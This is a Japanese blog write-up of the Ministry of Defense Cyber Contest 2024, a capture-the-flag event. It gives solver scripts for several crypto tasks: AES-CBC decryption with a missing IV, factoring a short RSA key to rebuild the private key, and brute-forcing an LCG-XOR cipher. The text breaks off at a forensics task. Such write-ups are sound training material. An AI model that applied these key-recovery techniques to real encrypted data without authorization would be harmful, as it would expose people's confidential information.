プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

防衛省サイバーコンテスト 2024 write-up

防衛省サイバーコンテスト 2024へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/02/25(日) 09:00 +09:00 - 2024/02/25(日) 21:00 +12:00 の12時間開催でした。ルールの詳細や点数配分、出題カテゴリー、VPN接続手順等は、参加要領として事前に連絡がありました。

結果

正の得点を得ている313人中、435点で9位でした。

順位と得点

緑背景: 解けた問題

得点遷移は以下の結果になりました。後述するように「点数を消費してヒントを得る」機能があり、合計15点をヒントに使いました。

得点の推移等

環境

WindowsのWSL2(Ubuntu 22.04)や、VMWare環境のKali Linux、VirtualBox環境のREMnux等を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4046]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2

c:\>

他ソフト

  • Wireshark Version 4.2.0 (v4.2.0-0-g54eedfc63953)
  • Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.8.3
  • 青い空を見上げればいつもそこに白い猫 Ver1.09
  • 7-Zip 22.00
  • AccessData® FTK® Imager 4.7.1.2
  • Binary Editor BZ Version 1.9.8.7

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.133.1-microsoft-standard-WSL2 (root@1c602f52c2e4) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Thu Oct 5 21:02:42 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show requests | grep Version
Version: 2.25.1
$ python3 -m pip show pycryptodome | grep Version
Version: 3.14.1
$ python3 -m pip show numpy | grep Version
Version: 1.21.5
$ python3 -m pip show opencv-python | grep Version
Version: 4.5.5.64
$ python3 -m pip show pyjwt | grep Version
Version: 2.3.0
$ sage --version
SageMath version 9.5, Release Date: 2022-01-30
$ g++ --version
g++ (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.16
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$ openssl version
OpenSSL 3.0.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 2022)
$

Kali Linux

$ cat /proc/version
Linux version 6.6.9-amd64 (devel@kali.org) (gcc-13 (Debian 13.2.0-9) 13.2.0, GNU ld (GNU Binutils for Debian) 2.41.50.20231227) #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08)
$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2024.1"
VERSION="2024.1"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
$ nmap --version
Nmap version 7.94SVN ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.4.6 openssl-3.1.4 libssh2-1.11.0 libz-1.2.13 libpcre2-10.42 libpcap-1.10.4 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select
$ gobuster version
3.6
$ nikto -Version
Nikto 2.5.0 (LW 2.5)
$ sha256sum /usr/share/wordlists/rockyou.txt
16035fea7742cb0561c513de1d946eda5716d7de294e6c732449740096686173  /usr/share/wordlists/rockyou.txt
$

REMnux

$ cat /proc/version
Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.4 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
$ vol3 -h | head -1
Volatility 3 Framework 2.5.0
$

解けた問題

前述した通り、本コンテストでは「点数を消費してヒントを得る」機能があります。各ヒントは各問題の上から順番にのみ表示できました。戦略として「最後の最後に引っかかっているような状況だとヒントを得ても役に立たないことが多いので、あまり開けないでおこう、どうしようもないときだけ開こう」と考えて、適宜開きました。コンテスト期間中に開いた問題は文章中で表現します。

なお、コンテスト終了後には、すべてのヒントを減点なしに確認できるようになりました。各ヒントの必要点数は、コンテスト期間中に記録していたものを記載しています。

いくつかの問題群は1つのシリーズになっています。本記事ではそれらの問題を続けて記述します。そのため問題一覧とは並び順が一部異なります。

[Welcome] Welcome! (313 solved, 10 points)

防衛省サイバーコンテスト 2024 へのご参加ありがとうございます!

この問題では解答の方法を確認し、ほかの問題のヒントを開放するのに必要な得点を得ることができます。添付のテキストファイル Welcome.txt にフラグが記載されています。ダウンロードし確認してください。

また、 CyberContest2024.ovpn ファイルは、問題用サーバーに接続するために使用する VPN 設定ファイルです(SHA256: ce27109188e817f3340fa97301522afe56fd830da9f71b2dc7748a1c30e65895)。事前に配布いたしました参加要領に従って接続を行ってください。

解答形式:flag{XXXXXXXX} (半角英数記号)

本問題にヒントはありません。配布ファイルとして、Welcome.txtがありました:

$ cat Welcome.txt
flag{WelcomeToMODCyberContest!}
$

フラグを入手できました: flag{WelcomeToMODCyberContest!}

それとは別に、一緒に配布されているCyberContest2024.ovpnを使ってVPN接続を行いました。Network問題やWeb問題で必要になります。

[Crypto] Information of Certificate (284 solved, 10 points)

Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。

解答形式:flag{XXXXXXXXXXXXXXXXXX} (半角英数記号)

1 ポイントを消費してヒントを表示する
certutil や openssl コマンドで調べることができます。

配布ファイルとして、Easy.crtがありました:

$ file *
Easy.crt: PEM certificate
$

「確かopensslコマンドで証明書内容を確認できたはず」と思い出して、使い方を調べました。openssl - How do I view the details of a digital certificate .cer file? - Server Faultを見つけたので試しました:

$ openssl x509 -inform pem -text -in Easy.crt
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 2024 (0x7e8)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = XX, ST = Some-State, L = Nowhere, O = Invalid, OU = Invalid, CN = QRK7rNJ3hShV.vlc-cybercontest.invalid, emailAddress = user@QRK7rNJ3hShV.vlc-cybercontest.invalid
        Validity
            Not Before: Jan  1 00:00:00 2024 GMT
            Not After : Feb  1 00:00:00 2024 GMT
        Subject: C = XX, ST = Some-State, L = Nowhere
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:a6:61:cf:52:55:0a:e4:5e:9b:5c:99:3b:aa:20:
                    90:0d:80:06:9a:9b:be:23:4c:17:0d:2c:fc:d1:be:
                    66:43:40:7f:55:10:6a:99:56:0c:b2:09:a5:a2:6d:
                    2a:25:c4:ff:67:e4:e3:02:87:57:cf:77:af:67:04:
                    31:c5:f7:9b:83
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        3c:ff:d8:42:a8:eb:2c:55:93:5c:73:a3:84:fa:ea:9b:f8:fb:
        f2:06:50:e4:95:97:9f:5e:ad:c7:ac:b6:36:77:4b:66:1f:38:
        20:bf:71:9d:83:32:c1:3c:35:4f:b9:98:b4:4c:97:87:53:7d:
        84:80:83:df:ab:10:cc:fa:88:b1
-----BEGIN CERTIFICATE-----
MIIB4zCCAY0CAgfoMA0GCSqGSIb3DQEBCwUAMIHDMQswCQYDVQQGEwJYWDETMBEG
A1UECAwKU29tZS1TdGF0ZTEQMA4GA1UEBwwHTm93aGVyZTEQMA4GA1UECgwHSW52
YWxpZDEQMA4GA1UECwwHSW52YWxpZDEuMCwGA1UEAwwlUVJLN3JOSjNoU2hWLnZs
Yy1jeWJlcmNvbnRlc3QuaW52YWxpZDE5MDcGCSqGSIb3DQEJARYqdXNlckBRUks3
ck5KM2hTaFYudmxjLWN5YmVyY29udGVzdC5pbnZhbGlkMB4XDTI0MDEwMTAwMDAw
MFoXDTI0MDIwMTAwMDAwMFowNDELMAkGA1UEBhMCWFgxEzARBgNVBAgMClNvbWUt
U3RhdGUxEDAOBgNVBAcMB05vd2hlcmUwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA
pmHPUlUK5F6bXJk7qiCQDYAGmpu+I0wXDSz80b5mQ0B/VRBqmVYMsgmlom0qJcT/
Z+TjAodXz3evZwQxxfebgwIDAQABMA0GCSqGSIb3DQEBCwUAA0EAPP/YQqjrLFWT
XHOjhPrqm/j78gZQ5JWXn16tx6y2NndLZh84IL9xnYMywTw1T7mYtEyXh1N9hICD
36sQzPqIsQ==
-----END CERTIFICATE-----
$

色々表示できました。本問題で求められているIssuerのCNを、提示されている形式で提出して正解できました: flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}

[Crypto] Missing IV (80 solved, 20 points)

NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。

暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

2 ポイントを消費してヒントを表示する
CBC モードでは、IV が誤っていても最初のブロック以外は正常に復号できます。平文ファイルのヘッダーは完全には復元できませんが、有用な情報が残されているかもしれません。

2 ポイントを消費してヒントを表示する
平文ファイルは OpenDocument Text ファイルだったようです。

配布ファイルとして、暗号化結果のNoIV.binがありました。CBCモードの復号処理を調べるとBlock cipher mode of operation - Wikipediaを見つけました。IVが影響する範囲は最初の1ブロック(AESの場合は16バイト)だけのようです。そうなると、IV不明でも残りのブロックは正しく復号できます。とりあえずIVを0に固定して復号するスクリプトを書きました:

#!/usr/bin/env python3

from Crypto.Cipher import AES

with open("NoIV.bin", "rb") as f:
    data = f.read()
key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")
zero_iv = b"\x00" * 16

cipher = AES.new(key, AES.MODE_CBC, zero_iv)
zero_decrypted = cipher.decrypt(data)
print(zero_decrypted)

with open("result.bin", "wb") as f:
    f.write(zero_decrypted)

実行して復号した結果をヘキサエディターで見てみると、META-INF/manifest.xmlなどのファイル名や、PKで始まる部分が見えました。ZIPファイルのようです。

ZIPファイルならファイル末尾のデータ構造から全体を復号してくれるかもしれないと思いました。result.binを右クリックして7-Zipで展開してみると、無事成功しました!あとはフラグを探しました:

$ grep -R flag
content.xml:<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:rpt="http://openoffice.org/2005/report" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:css3t="http://www.w3.org/TR/css3-text/" xmlns:officeooo="http://openoffice.org/2009/office" office:version="1.3"><office:scripts/><office:font-face-decls><style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="&apos;Lucida Sans&apos;" style:font-family-generic="swiss"/><style:font-face style:name="Lucida Sans1" svg:font-family="&apos;Lucida Sans&apos;" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="游ゴシック" svg:font-family="游ゴシック" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="游明朝" svg:font-family="游明朝" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="P1" style:family="paragraph" style:parent-style-name="Standard"><style:text-properties officeooo:rsid="00068e2e" officeooo:paragraph-rsid="00068e2e"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/><text:sequence-decl text:display-outline-level="0" text:name="Figure"/></text:sequence-decls><text:p text:style-name="P1">flag{ESYQV0fPMxz4wMmU}</text:p></office:text></office:body></office:document-content>
$

content.xmlの行末の方にフラグが入っていました: flag{ESYQV0fPMxz4wMmU}

面白い問題だと思いました!

[Crypto] Short RSA Public Key (53 solved, 20 points)

RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

2 ポイントを消費してヒントを表示する
家庭用 PC で 256bit の数の素因数分解を行うには msieve が有効です。

2 ポイントを消費してヒントを表示する
素因数分解した素数から RSA 鍵を作成するには、例えば Python の Cryptography モジュール が利用できます。

配布ファイルとして、暗号化結果のRSA-cipher.datと、関連するファイルのpubkey.pemがありました:

$ file *
RSA-cipher.dat:  data
private_key.pem: PEM RSA private key
$ cat pubkey.pem
-----BEGIN RSA PUBLIC KEY-----
MCgCIQCtgckmQcCxjE7aVRwdeCgETj5KdRmqyQ7kaRxKhtzi4QIDAQAB
-----END RSA PUBLIC KEY-----
$

問題文からも、ファイル内容からも、RSA公開鍵のようです。そのため今回もopensslコマンドで内容を表示しようとしたのですが、どうにもうまくいきませんでした。結局悩んだ末、PyCryptodomeを使って公開鍵内容を表示するスクリプトを書きました:

#!/usr/bin/env python3

from Crypto.PublicKey import RSA

with open("pubkey.pem") as f:
    pem_content = f.read()

key = RSA.importKey(pem_content)
# print(key)
print(f"{key.e = }")
print(f"{key.n = }")

実行しました:

$ ./show_public_component.py
key.e = 65537
key.n = 78479434358679743508116090024686132395246871443799969871485501232049475609313
$

nが短いので素因数分解できそうです。sagemathに投げました:

$ time sage -c 'print(factor(78479434358679743508116090024686132395246871443799969871485501232049475609313))'
1011146650909449935800449563521726151 * 77614294907759846691928156982114516291863
sage -c   202.44s user 0.10s system 99% cpu 3:22.65 total
$

無事に数分で素因数分解できました。

さて残るはファイルの復号です。変に自作すると変にハマりそうなので、改めてopensslコマンドに頼ろうと思いました。そのために、opensslコマンドで取り扱えそうな方式へ秘密鍵を変換するスクリプトを書きました:

#!/usr/bin/env python3

from Crypto.PublicKey import RSA

with open("pubkey.pem") as f:
    pem_content = f.read()

public_key = RSA.importKey(pem_content)
n = public_key.n
e = public_key.e
p = 1011146650909449935800449563521726151
q = 77614294907759846691928156982114516291863
d = pow(e, -1, (p-1)*(q-1))

private_key = RSA.construct((n, e, d, p, q))
# print(private_key)

with open("private_key.pem", "wb") as f:
    f.write(private_key.export_key())

実行して秘密鍵用ファイルを生成し、それを使ってopensslコマンドで復号しました:

$ ./write_private_key.py
$ cat RSA-cipher.dat | openssl pkeyutl -decrypt -inkey private_key.pem
flag{X0Myx6IHI8}
$

フラグを入手できました: flag{X0Myx6IHI8}

[Crypto] Cryptographically Insecure PRNG (22 solved, 30 points)

PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World を x_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。

x_{n+1} = (233 x_n + 653) mod 4294967296
鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

配布ファイルとして、暗号化結果のPRNG.binがありました。実質4バイトのブルートフォースをする問題です。実行効率が求められそうなので、C++で書くことにしました。C++でのファイル読み込みは面倒なので埋め込んだり、サンプル入力のHello World結果が合うまでに10分ほどハマったりしながら、ソルバーを書きました:

#include<cstdio>
#include<cstring>
#include<cstdint>

struct PRNG {
    PRNG(uint32_t x): _x(x), _count(0) {}
    uint8_t next() {
        if (_count >= 4) {
            _x = (233 * _x) + 653;
            _count = 0;
            // printf(" (update) ");
        }
        auto result = static_cast<uint8_t>((_x >> (8*_count++)) & 0xFF);
        return result;
    }

private:
    uint32_t _x;
    uint8_t _count;
};

void HelloWorldTest() {
    unsigned char test[] = "Hello World";
    PRNG prng(0xFFFFFFFF);

    for(auto x : test) {
        printf("%02x ", (x ^ prng.next()));
    }
    puts("");
}

bool Solve(uint32_t seed) {
    // 「PRNG.bin」の中身。
    unsigned char encrypted_data[] = { 0xD1,0x51,0x20,0xF4,0xF3,0xD8,0x2E,0x00,0x01,0x51,0xEA,0x17,0x2C,0xCA,0x4C,0x53,0x1A,0x18,0x28,0xDB,0x4D,0x01,0x7C,0x33,0xF3,0x04,0xA2,0x3F,0x67,0x38,0x84,0xFD,0xB6,0xDA,0x77,0x57,0x44,0x28,0x54,0xD7,0x54,0xB2,0xAA,0xE9,0x32,0x38,0x89,0xB3,0x92,0x2D,0xA6,0xF1,0x89,0xEB,0x20,0xDE,0x3B,0x9C,0x11,0x72,0x6F,0xD6,0x18,0x21,0x4F,0x75,0x0C,0x98,0xC8,0x7A,0x7E,0xB3,0x71,0xC8,0xAC,0x33,0x30,0x58,0x6A,0x91,0x70,0x0C,0xB9,0x2A,0x11,0x9E,0xAD,0xD1,0x48,0x33,0x01,0x6B,0x0D,0x2F,0x0B,0x3E,0x1D,0xA7,0x6A,0x2A,0x51,0x37,0x14,0x53,0xA2,0xF4,0xA6,0x87,0x09,0xC1,0x99,0xE6,0x23,0xD0,0x5E,0x6B,0xD7,0x41,0x3E,0x37,0x8B,0x94,0x77,0x49,0x45,0x7D,0xAE,0x41,0xD1,0xA7,0x7B,0x7C,0xF4,0xC3,0x6E,0x63,0xF6,0x46,0x23,0x53,0x06,0x0C,0xBC,0x5A,0xE6,0xB9,0xD6,0x77,0x31,0xEA,0x78,0x8D,0x96,0x7D,0xC8,0x94,0x5F,0xEE,0x34,0x23,0x93,0xFE,0xC9,0x87,0x6B,0xBB,0xD9,0x2E,0x2A,0x3B,0x60,0x7E,0x03,0xAD,0xB7,0x66,0xB0,0x17,0x53,0xE5,0xBB,0x10,0x7C,0xC4,0x1B,0x1B,0x8E,0x5B,0x48,0x63,0x35,0x35,0x26,0x8E,0x4A,0x88,0xBE,0xF1,0xE9,0x44,0x53,0x92,0xF5,0xE2,0x0B,0x4E,0xEE,0x20,0x4D,0xB8,0xA0,0x83,0x71,0x99,0xF3,0x53,0x32,0x38,0xAB,0x7A,0x2D,0x84,0xBB,0xBC,0xEC,0x1B,0xA1,0xD1,0x30,0x5F,0xAC,0x5B,0x9E,0x3E,0x44,0x3D,0xEF,0xC5,0x3B,0xD0,0x4C,0x53,0xAF,0x7A,0xBC,0x1F,0x63,0xD4,0x63,0x16,0x3B,0x3B,0x65,0x9A,0x87,0x51,0xBC,0xFF,0x81,0x27,0xAE,0xA0,0x0A,0x56,0xD7,0x46,0x37,0x97,0xEB,0x43,0x5F,0xB3,0xC6,0x6E,0x0F,0x9A,0x09,0x31,0xB1,0xE8,0xBD,0x43,0x2E,0xB7,0x3B,0x9A,0x07,0x37,0x6C,0x00,0xDA,0x0A,0x0D,0x60,0x2B,0x83,0x54,0xCB,0x0A,0xED,0xB7,0x27,0x0C,0xC1,0x8E,0x8B,0x70,0x24,0x9C,0x9F,0xCA,0x25,0xF0,0x70,0x05,0xE9,0x7B,0x57,0x0A,0xB7,0x09,0x5B,0x46,0xA2,0x88,0x2D,0xC9,0x90,0x23,0x75,0xCF,0xA3,0xEC,0xD1,0x5B,0x97,0x21,0x13,0xFD,0xD2,0x08,0xD1,0x79,0x6C,0x03,0xEE,0x8C,0x4E,0x17,0xB7,0xA5,0xEF,0xDA,0x36,0xBD,0xAC,0x19,0x47,0x91,0x57,0x62,0x23,0xCB,0x16,0xCC,0xA3,0x21,0x5D,0xE3,0xBD,0xFC,0xA6,0x8D,0xB8,0xC1,0xB7,0x4B,0x66,0x41,0x66,0x19,0x0E,0x9A,0xC7,0xA4,0x02,0x63,0x90,0x94,0x62,0x2B,0xBD,0xA0,0x12,0xA7,0x8B,0xC1,0x6E,0x18,0x7B,0xB1,0xD7,0x6E,0x83,0xA1,0x9E,0xF2,0x79,0x9A,0x32,0xDC,0xC6,0x17,0xA7,0x9B,0x97,0x4A,0x38,0x5A,0xA9,0xE2,0xEA,0x80,0x16,0xFC,0xCE,0x81,0xA3,0xCC,0x51,0x22,0x76,0x59,0x9C,0xFD,0x2C,0x45,0x86,0x17,0x2C,0xEC,0xC2,0xCC,0x87,0x15,0xF5,0x13,0x31,0xE5,0x48,0xEC,0xA3,0x62,0x74,0xA3,0x54,0x0D,0x2C,0x39,0x4F,0x9F,0x41,0x00,0x76,0x0B,0x38,0x27,0x53,0xE1,0x47,0x74,0x10,0xF5,0xA6,0xCD,0x0A,0xEB,0x96,0xF6,0xB1,0xE6,0x68,0x63,0x0A,0xE6,0x34,0x8D,0xF0,0x49,0xBE,0x8F,0xE4,0xA2,0x72,0x93,0x5C,0x8C,0xE8,0x77,0xE1,0x70,0x70,0x4F,0xC1,0x2F,0x9B,0xC4,0x69,0xE7,0x29,0x15,0xFF,0x75,0x4B,0x2F,0x25,0x72,0x02,0x78,0x23,0xD2,0xF1,0xAC,0x80,0xAE,0x7C,0x7B,0x63,0x96,0x1D,0x20,0x70,0xC4,0x9C,0x38,0x48,0x7B,0xDE,0x7A,0x2A,0xE9,0x4A,0xC9,0x63,0x35,0x26,0x58,0x86,0xD3,0x58,0x83,0x2D,0xD8,0x16,0xD6,0x9F,0xF7,0xAA,0x87,0x68,0x51,0x5C,0x30,0x33,0x47,0xDB,0x85,0x83,0xBA,0xFE,0xDF,0xBE,0xBB,0x84,0x12,0x87,0xD5,0x10,0x5C,0x27,0x0D,0x66,0x5B,0xC2,0xEA,0xCB,0xE4,0xA7,0xFF,0xD3,0xE8,0xE9,0xE6,0x8C,0x88,0xDC,0x91,0xFB,0x80,0xC8,0xD5,0x08,0xCC,0xAD,0xD7,0x0F,0x82,0xCD,0x9D,0x29,0xDA,0x6B,0xDA,0x18,0x3D,0x80,0x29,0xC5,0xBE,0xDD,0x85,0x31,0x19,0xC9,0xEC,0x12,0x2F,0x94,0x4A,0x8B,0x90,0xD9,0x4E,0xBD,0x68,0x36,0x85,0x7A,0x79,0xCE,0x51,0xFA,0x41,0xB6,0x48,0x84,0xB2,0x50,0x32,0x53,0x30,0x82,0x80,0x59,0x64,0x8E,0x7D,0x30,0x37,0x38,0xA0,0xD0,0x36,0xF9,0x5A,0x4B,0x0D,0xD9,0x93,0x83,0x2A,0x48,0x0D,0x16,0x95,0xAA,0xEB,0x23,0x4A,0x24,0xAE,0x19,0x26,0x07,0x98,0xCD,0xB2,0x7D,0x2E,0x22,0xC4,0x98,0x27,0x5A,0xA0,0x15,0x8C,0xB5,0xA0,0xDB,0xC9,0xE9,0x09,0xCB,0xA8,0x82,0x25,0x8A,0x24,0x45,0xAE,0xB3,0xD6,0x42,0xE6,0xFA,0xD1,0x50,0xF5,0x00,0xC1,0xA8,0x90,0x7B,0xB4,0x72,0x83,0x67,0xA3,0xDA,0xB3,0x1E,0xB3,0xE2,0xCA,0x3D,0x66,0xE7,0x1A,0x69,0xA5,0xA1,0x78,0xA6,0x06,0xD1,0xFD,0x59,0x27,0xB8,0x00,0x9B,0x83,0x30,0xA7,0x5C,0x0D,0xC4,0x65,0x37,0xAE,0xAC,0x34,0x77,0xAE,0x1B,0x66,0xE8,0x27,0xA4,0x01,0x66,0x38,0xB8,0x1B,0xAF,0x53,0xDD,0x27,0x30,0x61,0x12,0x88,0xB6,0x5A,0x7F,0xFB,0x9C,0x95,0xDB,0xAE,0xEE,0x17,0xD5,0x76,0x86,0xA7,0xFF,0x01,0x2B,0xEA,0xDC,0xE7,0x11,0x8B,0xCD,0x21,0x06,0x95,0xEC,0x8F,0x7A,0x76,0xA9,0x1A,0xD1,0x1B,0x44,0x54,0x27,0x0F,0x12,0x68,0x4A,0x77,0xC7,0x0A,0x58,0xB9,0x57,0xDB,0xF8,0xCE,0xCF,};

    PRNG pnrg(seed);
    for (int i = 0; i < sizeof(encrypted_data); i++) {
        encrypted_data[i] ^= pnrg.next();
        if (encrypted_data[i] > 0x80) { return false; }
    }
    char decrypted[sizeof(encrypted_data) + 8] = {};
    memcpy(decrypted, encrypted_data, sizeof(encrypted_data));
    puts(decrypted);
    return true;
}

int main() {
    for (uint64_t i = 0; i < (1ULL<<32); i++) {
        if (i % 1000000 == 0) {
            printf("%u\n", static_cast<uint32_t>(i));
        }
        if (Solve(static_cast<uint32_t>(i))) {
            break;
        }
    }
}

コンパイルして実行しました:

$ gcc -O2 solve.cpp
$ time ./a.out
(中略)
2638000000
Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base.
./a.out  45.93s user 0.03s system 99% cpu 45.965 total
$

フラグを入手できました: flag{QVFE5i5LkZdR}

[Forensics] NTFS Data Hide (141 solved, 10 points)

NTFSDataHide フォルダに保存されている Sample.pptx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。

解答形式:flag{XXXXXX}

1 ポイントを消費してヒントを表示する
NTFS ファイルシステムには ADS (Alternative Data Stream) と呼ばれるデータ保存領域があります。

2 ポイントを消費してヒントを表示する
スクリプトでは PowerShell による Base64 デコードを行っています。

配布ファイルとして、NTFS.vhdがありました:

$ file *
